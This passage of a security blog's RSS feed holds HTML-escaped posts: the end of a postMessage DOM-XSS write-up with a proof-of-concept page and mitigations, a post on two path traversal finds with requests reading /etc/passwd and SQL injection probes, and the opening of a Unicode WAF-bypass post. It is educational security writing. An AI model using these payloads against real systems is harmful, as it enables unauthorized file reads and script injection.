  &lt;li&gt;The button closes the window calling the function &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;closeMe()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200612/1.png&quot; alt=&quot;Basic diagram&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;a-basic-vulnerability&quot;&gt;A basic vulnerability&lt;/h2&gt;

&lt;p&gt;PostMessages if are not implemented correctly could lead to &lt;em&gt;information disclosure&lt;/em&gt; or &lt;em&gt;cross-site scripting vulnerabilities (XSS)&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;In this case, &lt;em&gt;2.html&lt;/em&gt; is expecting a message &lt;em&gt;without validating the origin&lt;/em&gt;, therefore we could host a webpage &lt;em&gt;3.html&lt;/em&gt; that will load &lt;em&gt;2.html&lt;/em&gt; as an iframe and the invoke the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;postMessage()&lt;/code&gt; function to manipulate the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;href&lt;/code&gt; value.&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;title&amp;gt;&lt;/span&gt;XSS PoC&lt;span class=&quot;nt&quot;&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;&amp;lt;meta&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;charset=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;utf-8&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;


&lt;span class=&quot;nt&quot;&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    
 &lt;span class=&quot;nt&quot;&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;frame&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;2.html&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;

 &lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
 	
	&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;url&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;javascript:prompt(1)&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;iFrame&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;frame&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;iFrame&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contentWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;postMessage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In this example, the malicious &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msg&lt;/code&gt; variable contains the data &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;{url : &quot;javascript:prompt(1)&quot;};&lt;/code&gt;, that will be send to &lt;em&gt;2.html&lt;/em&gt;. &lt;em&gt;2.html&lt;/em&gt; after processing, will change the value in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;a href&lt;/code&gt; to the value of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msg.url&lt;/code&gt;. An iframe is used to load in the same website the attack scenario. When a user clicks the &lt;em&gt;Go back&lt;/em&gt; link, a &lt;em&gt;XSS&lt;/em&gt; will be executed.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200612/2.png&quot; alt=&quot;Attack diagram&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200612/4.png&quot; alt=&quot;Attack diagram&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This is a simple case, in &lt;em&gt;PostMessage Vulnerabilities. Part II&lt;/em&gt; real case scenarios will be analyzed.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;mitigations&quot;&gt;Mitigations&lt;/h2&gt;

&lt;p&gt;According to Mozilla:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;If you do not expect to receive messages from other sites, do not add any event listeners for message events. This is a completely foolproof way to avoid security problems.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;If you do expect to receive messages from other sites, always verify the sender’s identity using the origin and possibly source properties. Any window can send a message to any other window, and you have no guarantees that an unknown sender will not send malicious messages. Having verified identity, however, you still should always verify the syntax of the received message. Otherwise, a security hole in the site you trusted to send only trusted messages could then open a cross-site scripting hole in your site.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;Always specify an exact target origin, not &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*&lt;/code&gt;, when you use postMessage to send data to other windows. A malicious site can change the location of the window without your knowledge, and therefore it can intercept the data sent using postMessage.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In the previous scenario, the following code should be modified in &lt;em&gt;1.html&lt;/em&gt;:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;child&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;postMessage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;to&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;child&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;postMessage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;2.html&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And in &lt;em&gt;2.html&lt;/em&gt;:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addEventListener&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addEventListener&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;origin&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;http://safe.com&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;detection&quot;&gt;Detection&lt;/h2&gt;

&lt;p&gt;The way to detect postMessage vulnerabilities is &lt;em&gt;reading JavaScript code&lt;/em&gt;. There is not an easy automated tool to help with this because when a listener is defined, the event data flow must be followed to analyze if the code ends in a vulnerable function. Anyways, I recommend two ways to detect the function calls:&lt;/p&gt;

&lt;p&gt;With J2EEScan, from &lt;em&gt;git repository, not BApp Store&lt;/em&gt; because I think is not updated:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/ilmila/J2EEScan&quot;&gt;Github - J2EEScan&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With BurpBounty, defining a set of Passive response strings searching for keywords like: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;postMessage&lt;/code&gt; , &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;addEventListener(&quot;message&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.on(&quot;message&quot;&lt;/code&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/wagiro/BurpBounty&quot;&gt;Github - Burp Bounty&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://medium.com/javascript-in-plain-english/javascript-and-window-postmessage-a60c8f6adea9&quot;&gt;Using JavaScript and window.postMessage()&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;
</description>
          <pubDate>2020-06-12T00:00:00+02:00</pubDate>
          <link>https://jlajara.gitlab.io/Dom_XSS_PostMessage</link>
          <guid isPermaLink="true">https://jlajara.gitlab.io/Dom_XSS_PostMessage</guid>
        </item>
      
    
      
        <item>
          <title>2 Path Traversal Cases</title>
          <description>&lt;meta property=&quot;og:title&quot; content=&quot;2 Path Traversal Cases&quot; /&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200329/0.png&quot; alt=&quot;Title&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Directory traversal&lt;/strong&gt; (also known as &lt;em&gt;file path traversal&lt;/em&gt;) is a web security vulnerability that allows an attacker to read arbitrary files on the server that is running an application. In this post, two path traversal bugs will be shown. Endpoints are redacted to deny information leaks.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;path-traversal-in-a-statistic-email&quot;&gt;Path traversal in a statistic email&lt;/h2&gt;

&lt;p&gt;After enumeration and directory bruteforcing, an endpoint appeared &lt;em&gt;https://redacted.com/act&lt;/em&gt;. In this endpoint, there was an input text element that asked form some &lt;em&gt;code&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200329/1.png&quot; alt=&quot;Img 1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Let’s try a random code to check how the backend handles the input, maybe some information could be retrieved like code length, reflection of the input that could be vulnerable to &lt;em&gt;XSS&lt;/em&gt;, vulnerable to &lt;em&gt;SQLi&lt;/em&gt;, etc.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200329/2.png&quot; alt=&quot;Img 2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Okey, there is no &lt;em&gt;captcha&lt;/em&gt; or something that could slow down the bruteforcing process, therefore we could use &lt;em&gt;Burp’s Intruder&lt;/em&gt; to try to find some valid code and see if we can unlock some extra functionality.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200329/3.png&quot; alt=&quot;Title&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200329/4.png&quot; alt=&quot;Title&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Perfect, 2 valid codes. Once entered, an email is asked. Let’s enter our email.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200329/5.png&quot; alt=&quot;Title&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200329/6.png&quot; alt=&quot;Title&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Awesome, email’s domain is not checked against a &lt;em&gt;whitelist&lt;/em&gt; so we could retrieve information associated to these codes, but… this is not a potential vulnerability.&lt;/p&gt;

&lt;p&gt;Let’s analyze the final request:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /act/ HTTP/1.1
Host: redacted.com
...

prevEntered=445856&amp;amp;email=myemail%40domain.com&amp;amp;emailSubmit=Submit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And try to play with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;prevEntered&lt;/code&gt; parameter:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;prevEntered=445856'&amp;amp;email=myemail%40domain.com&amp;amp;emailSubmit=Submit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200329/7.png&quot; alt=&quot;Title&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Interesting, is the backend vulnerable to &lt;em&gt;SQLi&lt;/em&gt;? After trying some logical querys like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;' or 'l'='l&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;' and 'l'='l'--&lt;/code&gt;, etc, I could determine that maybe is not vulnerable to SQLi.&lt;/p&gt;

&lt;p&gt;But, what if the application is not using a database to retrieve that information? Maybe this code is matched with and &lt;em&gt;existing file&lt;/em&gt; in the filesystem. Therefore trying:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;prevEntered=../../../../../../../../../../../../etc/passwd&amp;amp;email=myemail%40domain.com&amp;amp;emailSubmit=Submit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Gave us:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200329/8.png&quot; alt=&quot;Title&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;path-traversal-in-a-video-player&quot;&gt;Path traversal in a video player&lt;/h2&gt;

&lt;p&gt;After navigating and following the logical flow of an endpoint, a video appeared. Normally, I use to ignore videos because they are loaded from third-party websites or they are in an static web folder. But after playing the video, the following traffic was shown:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /videos/2020/video1/video-1300Kbps/ HTTP/1.1
Host: redacted.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And a lot of binary data was returned in the response. This could indicate that the backend is grabbing the video and performing some bandwith or video size limitation according.&lt;/p&gt;

&lt;p&gt;After adding some &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;../&lt;/code&gt; characters the response returned &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;File not found.&quot;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;What would happen if we add the following to the request?&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /videos/2020/video1/video-1300Kbps/../../../../etc/passwd HTTP/1.1
Host: redacted.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Response:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/plain

XXXXXX:x:23511:65534::/dev/null:/usr/bin/rssh
XXXXXX:x:23511:65534::/dev/null:/usr/bin/rssh
XXXXXX:x:23511:65534::/dev/null:/usr/bin/rssh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;lessons-learned&quot;&gt;Lessons learned&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1.&lt;/strong&gt; Try to unlock the most of the application’s functionality possible. This will increase the attack vector.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2.&lt;/strong&gt; If some endpoint seems vulnerable but we can not achieve a succesfull attack, maybe the attack is wrong. Think outside the box.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;3.&lt;/strong&gt; Try to interact with all the elements of the application. In this case, a web player was vulnerable to Path Traversal.&lt;/li&gt;
&lt;/ul&gt;
</description>
          <pubDate>2020-03-29T00:00:00+01:00</pubDate>
          <link>https://jlajara.gitlab.io/Path_Traversal</link>
          <guid isPermaLink="true">https://jlajara.gitlab.io/Path_Traversal</guid>
        </item>
      
    
      
        <item>
          <title>WAF Bypassing with Unicode Compatibility</title>
          <description>&lt;meta property=&quot;og:title&quot; content=&quot;WAF Bypassing with Unicode Compatibility&quot; /&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200219/0.png&quot; alt=&quot;Title&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Unicode Compatibility&lt;/strong&gt; is a form of &lt;em&gt;Unicode Equivalence&lt;/em&gt; which ensures that between characters or sequences of characters which may have distinct visual appearances or behaviors, the same abstract character is represented. For example, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;𝕃&lt;/code&gt; is normalized to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;L&lt;/code&gt;. This behaviour could open the door to abuse some weak implementations that &lt;em&gt;performs unicode compatibility after the input is sanitized&lt;/em&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;unicode-compatibility-forms&quot;&gt;Unicode compatibility forms&lt;/h2&gt;

&lt;p&gt;There are four standard normalization forms:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;NFC:&lt;/strong&gt; Normalization Form Canonical Composition&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;NFD:&lt;/strong&gt; Normalization Form Canonical Decomposition&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;NFKC:&lt;/strong&gt; Normalization Form Compatibility Composition&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;NFKD:&lt;/strong&gt; Normalization Form Compatibility Decomposition&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200219/1.jpg&quot; alt=&quot;Compatibility&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NFKC&lt;/strong&gt; and &lt;strong&gt;NKFD&lt;/strong&gt; are the ones that are interesting because they perform &lt;em&gt;compatibility&lt;/em&gt;, to check this behaviour, we could use this Python snippet:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;unicodedata&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃&quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'NFC: '&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;unicodedata&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;normalize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'NFC'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'NFD: '&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;unicodedata&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;normalize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'NFD'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'NFKC: '&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;unicodedata&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;normalize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'NFKC'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'NFKD: '&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;unicodedata&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;normalize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'NFKD'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Output:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;NFC: 𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃
NFD: 𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃
NFKC: Leonishan
NFKD: Leonishan
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;proof-of-concept&quot;&gt;Proof of concept&lt;/h2&gt;

&lt;p&gt;To demostrate this behaviour, we have created a simple web application that reflects the name given by a GET parameter if the WAF does not detect some strange character. This is the code:&lt;/p&gt;

&lt;ul&gt;
